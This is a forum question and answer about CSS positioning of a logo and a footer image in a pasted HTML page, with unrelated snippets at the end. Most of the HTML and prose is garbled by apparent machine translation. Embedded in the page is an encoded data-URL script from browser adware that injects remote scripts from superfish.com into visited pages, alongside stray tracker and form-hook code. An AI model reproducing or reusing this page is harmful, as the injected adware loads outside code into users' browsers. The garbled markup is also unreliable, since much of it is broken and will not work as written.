separate image styles
How can we apply an image different css styles? I have a logo andi want to put an image in the footer, but when I apply the absolute position property footer image goes on top of the logo at the beginning of the page and when I move the logo moves as well... Here is the code for my page
the image im trying to put in the background is called "partners.png" and the file name of the logo is dilogoorange.png
< ! DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict / / IN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" > ""
" < html xmlns =" http://www.w3.org/1999/xhtml "XML: lang ="fr"lang ="fr"dir ="ltr"class ="js"> < head > < meta http-equiv ="Content-Type"content = text/html"; " charset = utf - 8 ">
< title > International Digital | Educational technology and training < /title > advisers
"< link rel ="shortcut icon"href="./images/favicon.ico "type =" image/x-icon">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/views.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/node.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/defaults.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/system.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/system-menus.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/user.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/content-module.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/date.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/datepicker.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/timeentry.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/ec_abuse.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/filefield.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/og.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/forum.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/fieldgroup.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/html-elements.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/tabs.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/messages.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/block-editing.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/wireframes.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/layout.css ">
"< link type =" text/css"rel ="stylesheet"media =" all the "href="./index_files/ec_release2.css ">
"< link type =" text/css"rel ="stylesheet"media ="print"href="./index_files/print.css ">
<!-[if IE] >
< link type = "text/css" rel = "stylesheet" media = "all" href = "/sites/ www.ecuad.ca/themes/ec_release2/ie.css?g" / >
<! [endif]-->
"" < script src="./index_files/jquery.min.js" > < / script > < script type = "text/javascript" src="./index_files/jquery.js" > < / script >
"< script type =" text/javascript"src="./index_files/drupal.js "> < / script >
"< script type =" text/javascript"src="./index_files/ec_abuse.js "> < / script >
"< script type =" text/javascript"src="./index_files/base.js "> < / script >
"< script type =" text/javascript"src="./index_files/ajax_view.js "> < / script >
"< script type =" text/javascript"src="./index_files/jquery.cycle.min.js "> < / script >
"< script type =" text/javascript"src="./index_files/menu-magic.js "> < / script >
"< script type =" text/javascript"src="./index_files/slideshow-settings.js "> < / script >
< script type = "text/javascript" >
<!-/ /--> <! [CDATA [/ / > <!-]]
jQuery.extend (Drupal.settings, {'basePath': ' / ', 'googleanalytics': {'trackOutgoing': 1, 'trackMailto': 1, 'trackDownload': 1, 'trackDownloadExtensions': ' 7z | "}}) AAC | AVI | CSV | doc | exe | FLV | gif | gz | jpe? g | JS | MP (3 | 4 | e? g) | mov | PDF | phps | PNG | PPT | RAR | sitting | tar | torrent | txt | WMA | WMV | xls | XML | ({zip"},"views": {"ajax_path": [" / views/ajax "," / views/ajax "],"ajaxViews": [{"view_name": 'site_activity', 'view_display_id': 'block_1',"view_args":" ", 'view_path': 'home', 'view_base_path':" people/activity","view_dom_id": 3,"pager_element": 0}, {"view_name": 'site_activity', 'view_display_id': 'block_1',"view_args":" ", 'view_path': 'home', 'view_base_path':" people/activity","view_dom_id": 8,"pager_element": 0}]}});
[[--> <!]] >
< /script >
< script type = "text/javascript" src="data:text/javascript,%0D%0A (function () 7Bvar % 20install_source % 3D"Chrome % 20Webstore"% 3Bvar % 20ext_name % 3D % 3Bvar % 20ctid % 3D % 3Bif 1 ' ' FastestChrome" (source_installation! % 3D 'Chrome store 20% ') % 7Bctid % 3D % 3 b 7% D % 0Aif (source_installation b 5, 0 %5D % 3D % 3D 'O' % 26% 26install_source % 5Binsta ll_source.length-1%5D%3D%3D%22l%22)%7Bctid%3D'3'%3B%7D%0Aif (source_installation % 5 b 0 %5D % 3D % 3D 'I') % 7Bctid % 3D % 3B 4 ' 2 ') 7% D % 0Aif (source_installation 5 b 0 %%5D % 3D % 3D 'O' % 26% 26install_source % 5Binstall_sou rce.length-1% 5D%3D%3D%22Y%22)%7Bctid%3D'5'%3b%7D%0Aif(install_source%3D%3D'fastanium.com') %7Bctid%3D'6'%3B%7D%0Avar%20blacklist%3D%5B%2Femusic.com%2F%2C%2F1800flowers.com%2F%2C%2Fd ominos.com%2F%2C%2Fsquidoo.com%2F%2C%2Fwsj.com%2F%2C%2Fnetflix.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2C%2F.*live.com%2F%2C% 2F.*battlefield.com%2F%2C% 2Fdell.com%2f%2c%2Fpch.com%2f%5d%3Bif (window!%3Dwindow.top) 7Bre % turn 3 b 7% D % 0Afor % (var 20i %3 D 0% 3bi%3Cblacklist.Length%3bi%2B%2B)%7Bif (blacklist%5Bi%5D.test (document.location.href))%7Breturn%3B%7D%7D%0Avar%20ready%3Dfunction (reminder) % 0a % 7Bvar % 20 c heck_ready % 3Dfunction () % 0a % 7Bif (window.document.body) 7Bcallback () % 3 b 7% D % 0Aelse % % 7BsetTimeo ut (check_ready %2C 100) 7 %%7D D % 3Bcheck_ready () % 3 b 7% D % 3Bready (function () % 0a % (power supply ion () % 0a % 7BsetTimeout))) 7Bif (%2F%5Ehttp%3A%2F.test (document.location.href) 7% C % 7Cnew % 20RegExp (% 22% 3A % 2F % www.google.com%22 2F % 5Ehttps).test(document.location.href))%0A%7B%20var%20inj%3Dfunction(u)%0 A%7Bvar%20s%3Ddocument.createElement ('script') %3Bs.type%3D'text%2Fjavascript'%3Bs.src%3Du% 3Bdocument.getElementsByTagName ('head') %5B0%5D.appendChild(s) % 3 b 7% D % 3Bif (%2FChrome%2F.test (navigator.userAgent))%7B%20if (ext_name % 3D % 3D % 22Fastanium % 22) % 7Binj (%22https%3A%2F%2Fwww.s uperfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastanium%26CTID%3D%22%2Bctid%2B%22%26user % 3Dfastanium0000000000 22% 2Bctid % Id) % 3 b 7% D % 0Aelse % 7Binj (% 22https % 3A % 2F % 2F % 22% 2Bctid me0000000000 2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestchrome%26CTID%3D%22%2Bctid%2B%22%26userId%3Dchro www.superfish.com%) % 3 b 7 %%7D D % 0Aelse % 20if (% 2FFirefox % 2F.test (Navigator.UserAgent)) % 7Bin j (% 22https % 3A % 2F % 2F www.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestfox%26userI d %3Dfastestfox0000000000%22)%3B%7D%0Aelse%20if(%2FSafari%2F.test(navigator.userAgent)) % 7Bi nj (% 22https % 3A % 2F % 2F www.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3Dfastestsafari%26C TID % 3D % 22% 2 b 1% 2% 22% 26userId % 3Dsafari0000000000 22% 2Bctid % b) % 3 b 7% D % 0Aelse % (% 2FTrident % 2F.test(navigator.userAgent))%7Binj(%22https%3A%2F%2F www.superfish.com%2Fws%2Fsf_conduit.jsp % 3Fdlsource % 20if "" "" ((3Dfastestie % 26userId % 3Dfastestie0000000000 % 22) 3 b 7% D %%7D 7% 0a % D %2 C 500) 3B %7% D) % 3B % b 3, 0 D % 0A % %7D()) "> < / script > < script type =" text/javascript"src="./index_files/sf_conduit.jsp "> < / script > < script type =" text/javascript"src="./index_files/base_single_icon.js "> < / script > < script type =" text/javascript"src="./index_files/dojo.xd.js "> < / script > < script type =" text/javascript ". "charset =" utf-8"src="./index_files/script.xd.js "> < / script > < script type =" text/javascript"charset ="utf - 8 "src="./index_files/window.xd.js "> < / script > < script type =" text / JavaScript "" src="./index_files/getSupportedSitesJSON.action" id = "sufioIoScript1" charset = "utf - 8" > < / script > < script type = "text/javascript" src="./index_files/rvwl.action" id = "sufioIoScript2" charset = "utf - 8" > < / script > < script type = "text/javascript" src="./index_files/getCouponsSupportedSites.action" id = "sufioIoScript3" charset = "utf - 8" > < / script >.
< style type = "text/css" >
a: link {}
text-decoration: none;
}
a: visited {}
text-decoration: none;
}
a: hover {}
text-decoration: underline;
}
a: active {}
text-decoration: none;
}
< / style >
< / head >
< body class = "before one non-logged-in-sidebar right sidebar" >
< div id = 'page' > < div id = 'page-interiors' >
< a name = 'navigation-top' = 'top' id > < / a >
< div id = "header" > < span class = 'block-internal' > < a href="./index.htm" > < img src = images/dilogoorange.png"" alt = "" width = "296" height = "118" class = 'content' / > < /a > < / span > "
"" "" "" "" "< div id ="header-inner' class = 'block-internal' > < a href="./index.htm" > < a href="./index.htm" > < a href="./index.htm" > < /a > < a href="./index.htm" > < a href="./index.htm" > < /a > < a href="./index.htm" > < / has > < / has > < / has > < / has > < a href="./index.htm" > < /a > < a href="./index.htm" > < /a > < a href="./index.htm" > < /a > < a href="./index.htm" > < /a > <! title - logo / #->
< div id = 'header blocks' class = 'region region-header' >
< div id = 'block-block-6' class = 'block block block region-odd same region-count-1 County-6"> < div class = 'block-interiors' >
< div class = "content" >
< div id = 'account-links' > < / div >
< / div >
< / div > < / div > <!-/ block-inner, block->
< div id = "block-menu_block-1" class = "block the block-menu_block region-same same region-County-2 County-16" > < div class = 'block-interiors' >
< h2 class = "title" > menu mega primary < / h2 >
< div class = "content" >
< div class = "parent-mlid-0 name-primary-links of the menu-menu-level-1" >
< ul class = "menu" >
"< class li ="expanded the first menu-mlid-1187 depth0 top-item1"> < a href="./index.htm "title =" "> < /a > advancements
"< ul class ="menu"> < class li ="sheet first menu-mlid-1188 depth1"> < a href="./careers.htm "title =" "> careers < /a > < /li >
"< class li ="sheet menu-mlid-1189 depth1"> < a href="./rnd.htm "title =" "> research and development < /a > < /li >
"< class li ="sheet menu-mlid-1190 depth1"> < a href="./comaware.htm "title =" "> Community Awareness < /a > < /li >
< /li > < /ul >
"" < class li = "expanded mlid-menu-675 depth0 top-item2" > < a href="./aboutus.htm" title = "" > About Us < /a > < ul class = "menu" > < class li = "sheet first menu-mlid-687 depth1" > < a href="./portfolio.htm" title = "" > portfolio < /a > < /li >
"< class li ="leaf mlid-menu-691 depth1"> < a href="./ourteam.htm "title =" "> our team < /a > < /li >
< /li > < /ul >
"" < class li = "extended menu-mlid-676 depth0 top-item3" > < a href="./services.htm" title = "" > Services < /a > < ul class = "menu" > < class li = "sheet first menu-mlid-688 depth1" > < a href="./educon.htm" title = "" > Education < /a > < /li >
"< class li ="sheet menu-mlid-6982 depth1"> < a href="./techcon.htm "title =" "> technology < /a > < /li >
"< class li ="sheet menu-mlid-704 depth1"> < a href="./traincon.htm "title =" "> training < /a > < /li >
< /li > < /ul >
"< class li ="expanded mlid-menu-3100 depth0 top-item4"> < a href="./collaborate.htm "title =" "> collaborate < /a >
< ul class = "menu" >
< /li > < /ul >
"< class li ="expanded mlid-menu-679 depth0 top-item5 active-trail"> < a href="./partners.htm "title =" "class ="active trail"> partners < /a > < ul class ="menu">"
< /li > < /ul >
"< class li ="expanded mlid-menu-680 depth0 top-item6"> < a href="./rfp.htm "title =" "> < /a > proposals
< ul class = "menu" > < li = class "expanded the first menu-mlid-1219 depth0 active top-item1 megamenu" > < ul class = "menu" > < class li = "sheet first menu-mlid-698 depth1" >
< /li > < /ul >
< /li > < /ul >
"< class li ="expanded the last menu-mlid-3101 depth0 top-item7"> < a href="./contactus.htm "title =" "> contact us < /a > < ul class ="menu">
< /li > < /ul >
< /ul > < / div >
< / div >
< / div > < / div > <!-/ block-inner, block->
< / div >
<!--> blocks - header / # -.
< / div > < / div > <! inner - header / #-, /#header->
< div id = 'hand' > < div id = "hand-interiors' class ="clear-block">
< div id = "content" > < div id = 'content-interiors' >
< div id = "top content" class = 'region region-content_top' >
< div id = "block-views-front_feature-block_1' class = 'block the block-views region-odd odd County region-count-1-5" > < div class = 'block-interiors' >
< h2 class = "title" > Digital International < / h2 >
< div class = "content" >
< div class = "slideshow" style = "position: relative;" > ""
< div class = "slide" style = "(background-image: url(./images/corp-stairt.jpg);" background-color: transparent; Width: 1024px; height: 480px; position: absolute; Top: 0px; left: 0px; z index: 12; display: none; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./aboutus.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./aboutus.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/Education-and-Trainingt.jpg);" background-color: transparent; position: absolute; Top: 0px; left: 0px; Width: 1024px; height: 480px; z index: 12; display: none; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./educon.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./educon.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/corp-ponytail-ladyt.jpg);" background-color: transparent; position: absolute; Top: 0px; left: 0px; Width: 1024px; height: 480px; z index: 12; display: none; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./traincon.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./traincon.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/aboutus_bannert.jpg);" background-color: transparent; position: absolute; Top: 0px; left: 0px; Width: 1024px; height: 480px; z index: 12; display: none; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./techcon.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./techcon.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/corp-tech-eyet.jpg);" background-color: transparent; position: absolute; Top: 0px; left: 0px; Width: 1024px; height: 480px; z index: 12; display: none; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./services.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./services.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/1280-corporate-volunteeringt.jpg);" background-color: transparent; position: absolute; Top: 0px; left: 0px; Width: 1024px; height: 480px; z index: 12; opacity: 0; display: none; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./parteners.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./parteners.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/bclet.jpg);" background-color: transparent; position: absolute; z index: 13; Top: 1px; left: 1px; display: block; Width: 1024px; height: 480px; opacity: 1; background-position: 50% 50%; background-repeat: no no repetition repetition; ">
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./portfolio.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/corporate-photographer-Londont.jpg);" background-color: transparent; Width: 1024px; height: 480px; z-index: 5; position: absolute; display: none; Top: 0px; left: 0px; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./rfp.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./rfp.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/ug-womant.jpg);" background-color: transparent; Width: 1024px; height: 480px; z index: 4; position: absolute; display: none; Top: 0px; left: 0px; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./careers.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./careers.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/globe-handtab.jpg);" background-color: transparent; Width: 1024px; height: 480px; z index: 3; position: absolute; display: none; Top: 0px; left: 0px; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./comaware.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./comaware.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/boardroomt.jpg);" background-color: transparent; Width: 1024px; height: 480px; z-index: 2; position: absolute; display: none; Top: 0px; left: 0px; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./structure.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./structure.htm "> read Article < /a > < / div >
< / div >
< / div >
< div class = "slide" style = "(background-image: url(./images/corporateclappingt.jpg);" background-color: transparent; Width: 1024px; height: 480px; z-index: 1; position: absolute; display: none; Top: 0px; left: 0px; opacity: 0; background-position: 50% 50%; background-repeat: no no repetition repetition; ' > '.
< div class = "slide_title" > < a class = "title" onclick = "$(& #39;.)." nested & #39;).slideToggle(); "" href="./portfolio.htm" > < / a > < / div >
< div class = "nested" >
< div class = "nested_content" > < / div >
"< div class ="nested_link"> < a href="./portfolio.htm "> read article < /a >
< script type = "text/javascript" >
{$(document) .ready (function ()}
$('.slideshow.slide').click (function (event) {}
var $tgt = $(event.target);
If ($('slide') tgt.hasClass) {window.location = '. / aboutus.htm ";}}
});
});
< /script >
< / div >
< / div >
< / div >
< / div >
< / div >
< / div > < / div > <!-/ block-inner, block->
< / div > <! high - content / #->
< div id = "content-low" class = 'region region-content_bottom' >
< div id = "block-block-37' class = 'block block block region-odd strange region-count-1 County-13' > < div class = 'block-interiors' >
< div class = "content" >
< div id = "feature_teaser" >
< p > education, training, models of collaborative learning, technology, software, network, customized project design, development and consulting company. It is also successfully performed several schools on campus and providing consultation services, training and education for many companies, organizations and institutions across the globe. "< /p > < a href="./aboutus.htm "id ="feature_link"> learn more about this feature < /a > < / div > < div id ="block-view-news-block_1' class = 'block the block-views region-odd even region-count-1 County-6"> < div class = 'block-interiors' >
< h2 class = "title" > News < / h2 >
< div class = "content" >
< div class = "see the opinion-news view-id-News display-display-id-block_1 view-dom-id-5" >
< div class = "view content" >
< div class = "item list" >
< ul >
< class li = 'line views views-line-1 views-line-odd views-line-first' >
< div class = "views-field-title" >
" < span class ="field-content"> < a href =" http://www.businessenglishuk.org.UK/News?NewSID=32 "target ="_blank"> mission UKTI to Saudia Arabia (education and training) < /a > < / span > "
< / div >
< /li >
< class li = 'line views views-line-2 views-line-same' >
< div class = "views-field-title" >
" < span class ="field-content"> < a href =" education http://www.blog.educationnewsnetwork.com/saudi-arabia-king-abdullahs-sr-81-5-bn-fillip-to-/ "target ="_blank"> Saudi Arabia: bn SR 81.5 King Abdullah fillip to education < /a > < / span > "
< / div >
< /li >
< class li = "row views views-line-3 views-line-odd views-line-last" >
< div class = "views-field-title" >
" < span class ="field-content"> < a href =" http://www.Zawya.com/story/TVTC_plans_to_create_four_million_jobs-ZAWYA20100425032546/ "target ="_blank"> KSA-TVTC to create 4 million jobs < /a > < / span > "
< / div >
< /li >
< /ul >
< / div > < / div >
"< div class ="show links -"> < div class ="more-link"> < a href="./nne.htm "class =" partition - 250 "> more < /a > < / div > < / div >
< / div > < / div >
< / div > < / div > <!-/ block-inner, block->
< div id = "block-views-events-block_1' class = 'block block-views region-same strange region-County-2 County-7" > < div class = 'block-interiors' >
< h2 class = "title" > events < / h2 >
< div class = "content" >
< div class = "show the view-events view-id-display-display-id-block_1 view-dom-id-6" >
< div class = "view content" >
< div class = "item list" >
< ul >
" < a href =" http://www.iveta.org/members/index.php/iveta-basics/new-postings.html "> < / a > .
< class li = "line views views-line-3 views-line-odd" >
" < div class ="title-field-views"> < span class ="field-content"> < a href =" http://www.unevoc.unesco.org/go.php?q=First+meeting+of+the+interagency+working+group+on+Gr ssati + TVET + and + skills + development %2 C + %2 C + Germany 2% C + 10-11 Bonn + April 2012 "target ="_blank"> UNESCO-UNEVOC first meeting of the Working Group integragency of the Group on greening TVET and skills < /a > < / span > < / div > "
< div class = "views-field-title" >
" < span class ="field-content"> < a href =" http://www.tvetuk.org/en/events/view/239 "target ="_blank"> Singapore Learning Symposium 2012 < /a > < / span > "
< / div >
< /li >
< class li = "views-line views-line-4 views-line-same views-line-last" >
< div class = "views-field-title" >
" < span class ="field-content"> < a href =" http://www.biztradeshows.com/international-exhibition-and-forum-for-education/ "target ="_blank"" > international exhibition and forum for education 2013 < /a > < a href = " " http://www.iveta.org/members/index.php/iveta-basics/new-postings.html "target ="_blank"> The IVETA 2012 annual Conference-Atlanta, Georgia, USA will be held November 28, 2012 < /a > < / span > < / div > < /li > < /ul > < / div > < / div > "
"< div class ="show links -"> < div class ="more-link"> < a href="./nne.htm "class =" partition - 250 "> more < /a > < / div > < / div >
< / div > < / div >
< / div > < / div > <!-/ block-inner, block->
< / div >
< / div > < / div > <!-/ block-inner, block->
< div id = "block-block-41' class = 'block block block, same same region region-County-2 County-14" > < div class = 'block-interiors' >
< div class = "content" >
< div id = "block-block-47" class = "block block block region-odd same region-County-3 County-8" > < div class = 'block-interiors' >
< div class = "content" >
< div class = "item list" >
< ul >
< class li = "line views views-line-1 views-line-odd views-line-first views-line-last" >
" < div class ="title-field-views"> < span class ="field-content"> < a href =" http://eepurl.com/mscQD "target ="_BLANK"> sign up for our e-newsletter < /a > < / span > < / div > "
< /li >
< /ul >
< / div >
< / div >
< / div > < / div > <!-/ block-inner, block->
< div id = 'block-block-10' class = 'block block block, same strange region region-County-4 County-9"> < div class = 'block-interiors' >
< div class = "content" > < / div >
< / div > < / div > <!-/ block-inner, block->
< div id = '8-block-block"class ="block block block region-odd same region-County-5 County-10"> < div class = 'block-interiors' >
< div class = "content" >
< div id = "info-block" > < span class = "title" > information for </span > < div id = "info" >
< ul >
< class li = "link_group" > < a href="./services.htm" > < span class = 'group_leader' > services </span > < /a > < /li > ".
< class li = "link_group" > < a href="./educon.htm" >-Education < /a > < /li > ".
< class li = "link_group" > < a href="./techcon.htm" >-technology < /a > < /li > ".
< class li = "link_group" > < a href="./traincon.htm" >-training < /a > < /li > ".
< class li = "link_group" > < a href="./rfp.htm" >-request for proposal < /a > < /li > ".
< class li = "link_group" > < a href="./collaborate.htm" > < span class = 'group_leader' > </span > < /a > < /li > collaborations.
< class li = "link_group" > < a href="./rnd.htm" >-research and development < /a > < /li > ".
< class li = "link_group" > < a href="./comaware.htm" >-< /a > < /li > community outreach.
< class li = "link_group" > < a href="./partners.htm" >-partners < /a > < /li > ".
< li > < a href="./careers.htm" > careers < /a > < /li > ".
"< li > < a href="./contactus.htm "> contact us < /a > < /li > < /ul >
< / div > < / div > < / div >
< / div > < / div > <!-/ block-inner, block->
< div id = "block-block-4" class = "block block block, same strange region region-County-6 County-11" > < div class = 'block-interiors' >
< div class = "content" >
< div id = "hotlinks-menu drop down-block" > < span class = "title" > </span > hotlinks
< div id = "hotlinks drop-down" >
< ul >
< li > < a href="./portfolio.htm" > project < /a > < /li > ".
< li > < a href="./nne.htm" > events < /a > < /li > ".
< li > < /li >
< /ul >
< ul >
" < li > < a href =" http://www.Facebook.com/pages/digital-International-Corporation/369034116486940 "target ="_blank"> facebook < /a > < /li > "
< li > < a href = "." "/ Careers" > work with us < /a > < /li >
< li > < /li >
< /ul >
< / div >
< / div > < / div >
< / div > < / div > <!-/ block-inner, block-> <!-/ block-inner, block->
< / div >
< / div > < / div > <!-/ block-inner, block->
< / div > <! low - content / #->
< / div > < / div > <! domestic - content / #-, / #content->
< / div > < / div > <! inner-/ # main-, /#main->
" < script src =" http://ShareBar.addthiscdn.com/v1/ShareBar.js "type =" text/javascript"> < / script > "
" < script src =" http://ShareBar.addthiscdn.com/v1/ShareBar.js "type =" text/javascript"> < / script > "
< div class = "addthis_sharebar_config" style = "" display: none; ">"
* username: [email protected]
* bar background color: #F87217
< / div >
< / div >
< / div >
< table width = "103%" height = "52" border = "0" >
< b >
< td width = "14%" > < table >
"< td width ="73% "> < img src =" images/partners.png"alt =" "width ="862"height ="59"/ > < table >
< td width = "13%" > < table >
< /tr >
< /table >
< p >
<! inner - page / #-, /#page->
< /p >
< div id = 'foot of page-inside' class = 'region region-footer' >
< div id = "block-block-14' class = 'block block block region-odd same region-count-1 County-8' >
< div class = 'block-interiors' >
< div class = "content" >
< div id = 'foot of page-menu' > < a href="./contactus.htm" > | " Contact us < /a >
<!--| < a href = "#" > < /a >--> Site map
< / div >
"< p > to < a href="./index.htm "> International Digital | Technology education and training Consultants 2012 < /a > < br / >
< /p >
< / div >
< / div >
< / div >
< / div > <! inner - footer / #-, /#footer->
"< script type =" text/javascript"src="./index_files/googleanalytics.js "> < / script >
< script type = "text/javascript" >
<!-/ /--> <! [CDATA [/ / > <!-]]
var (("https:" == document.location.protocol) = little? " ") https://SSL ." : " http://www ."); document. Write (unescape ("% 3Cscript src ='" + little + "some google-analytics.com/ga.js type = ' text/javascript' %3E%3C/script%3E")); "))
[[--> <!]] >
"" < /script > < script src="./index_files/ga.js" type = "text/javascript" > < / script > < script .js src="./index_files/ga (1)" type = "text/javascript" > < / script >
< script type = "text/javascript" >
<!-/ /--> <! [CDATA [/ / > <!-]]
try {var mouseover = _gat._getTracker("UA-3794068-1");pageTracker._trackPageview() ;} catch (err) {}}
[[--> <!]] >
< /script >
< div class = "extLives" > < / div > < div id = "tc_container" style = "" display: no "data ="CF"> < / div > < sfmsg id ="sfMsgId"data =" {& quot; imageCount & quot;: 0, & quot; ip & quot;: & quot; 182.177.217.122 & quot ;}} "> < / sfmsg > < div style =" display: none; " ID = "hiddenlpsubmitdiv" > < / div > < script > try {for (var lastpass_iter = 0; lastpass_iter < document.forms.length; lastpass_iter ++) {var lastpass_f = [lastpass_iter] return; if (typeof (lastpass_f.lpsubmitorig2) == "undefined") {lastpass_f.lpsubmitorig2 = lastpass_f.submit; lastpass_f.submit = function() {var form =; var customEvent = document.createEvent ("Event"); customEvent.initEvent ("lpCustomEvent", true, true); var d = document.getElementById("hiddenlpsubmitdiv"); for (var I = 0; I < document.forms.length; i ++) {if(document.forms[i]==form) {d.innerText = i ;}} d.dispatchEvent (customEvent); form.lpsubmitorig2 () ;}}} catch (e) {} < /script >}}}}}}
< body / > < / html >
The simple answer is this: If you want to position an element (image, e.g.) with position: absolute; It is positioned compared to the closest * place * enclosing element. If you have not assigned position: relative; (for example) to the div enclosing the footer div, absolute positioning as if absolute will apply to the entire page. That's why your image appeared in the upper left corner of the page and not down in the foot.
To control positioning via css, give the div id and make a style selector that references, for example:
style:
#wrapper {position: relative ;}}
#footer {position: relative ;}}
#footer img {position: absolute; left: 50px; top: 0 ;}}
Do not forget that with the image positioned absolutely, he will sit the place above anything else in the footer, as absolute positioning takes the item out of the normal flow of content.
It might be preferable to insert the image in a way using standard margins and padding and without any absolute positioning, in the footer DIV.
Beth
Tags: Dreamweaver
Similar Questions
-
How to separate images in a burst of Photos?
How to separate images in a burst of Photos?
See this help page: https://help.apple.com/photos/mac/1.0/?lang=en#/pht56eafa987
When you import a photo Photos broke, he appears in any moment and gusts album. When you open a glow, you can see all pictures in the burst and select your Favorites to work individually with.
- Double-click the rafale at the time or in the album of gusts.
- To select pictures of the explosion, click Mark an ellipsis button in the upper left corner of the photo.
- Click on the photos you want to have individual photos, then click the done button.
- Do one of the following:
- Keep the selected photos and delete the others in the explosion: photos click on keep only selected Selection.The appear individually in the moment and photos not selected are placed in the album recently deleted. The rafale is no longer in the moment or in the album of burst.
- Make selected photos appear individually and keep all the pictures in the radiance: Everything.The keep click on the selected pictures appear individually and made photo burst is still unchanged.
-
I have the following code in c#:
' Private Sub ExtractColor (SourceImage, CWIMAQImage CWIMAQImage DestinationImage)
{
CWIMAQImage colorPlane = new CWIMAQImage();
axCWIMAQVision1.ExtractSingleColorPlane (SourceImage, colorPlane, CWIMAQColorPlanes.cwimaqLuminancePlane);
axCWIMAQVision1.Copy (colorPlane, /DestinationImage);}
